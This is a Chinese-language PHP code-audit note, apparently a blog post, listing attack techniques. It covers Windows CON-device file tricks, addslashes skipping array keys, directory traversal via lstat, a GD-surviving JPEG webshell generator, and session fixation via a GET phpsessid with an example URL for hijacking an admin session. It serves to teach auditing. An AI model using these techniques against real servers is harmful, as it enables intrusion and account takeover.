file_get_contents('C:/tmp/con.jpg'); //此举将会无休无止地从 CON 设备读取 0 字节,直到遇到 eof
file_put_contents('C:/tmp/con.jpg',chr(0×07));  //此举将会不断地使服务器发出类似哔哔的声音

处理 value 没有处理 key

foreach时,addslashes对获得的value值进行处理,但没有处理key

用来目录遍历的特别函数

wooyun-2014-088094 lstat函数

wooyun-2014-088071 stream_resolve_include_path函数

wooyun-2014-083688

wooyun-2014-083457

wooyun-2014-083453

绕过 GD 库图片渲染

jpg_payload.zip

jpg_name.jpg是待GD处理的图片

php jpg_payload.php <jpg_name.jpg>

生成好的图片,在经过如下代码处理后,依然能保留其中的shell

<?php
    imagecreatefromjpeg('xxxx.jpg');
?>

会话固定

if(!empty($_GET['phpsessid'])) session_id($_GET['phpsessid']);//通过 GET 方法传递 sessionid

通过get方法来设置session。所以可以通过CSRF

http://xxxx/index.php?r=admin/index/index&phpsessid=f4cking123

管理员点了我们就能使用此session进后台了。

资料

PHP代码审计分段讲解

https://github.com/bowu678/php_bugs
https://github.com/jiangsir404/Audit-Learning
https://read.douban.com/reader/ebook/16642056/

关于转载

Author: 木禾 ali0th
Github: https://github.com/Martin2877/Ali0thNotes/blob/master/Code%20Audit/
文章目录

发表评论

发表评论

*

沙发空缺中,还不快抢~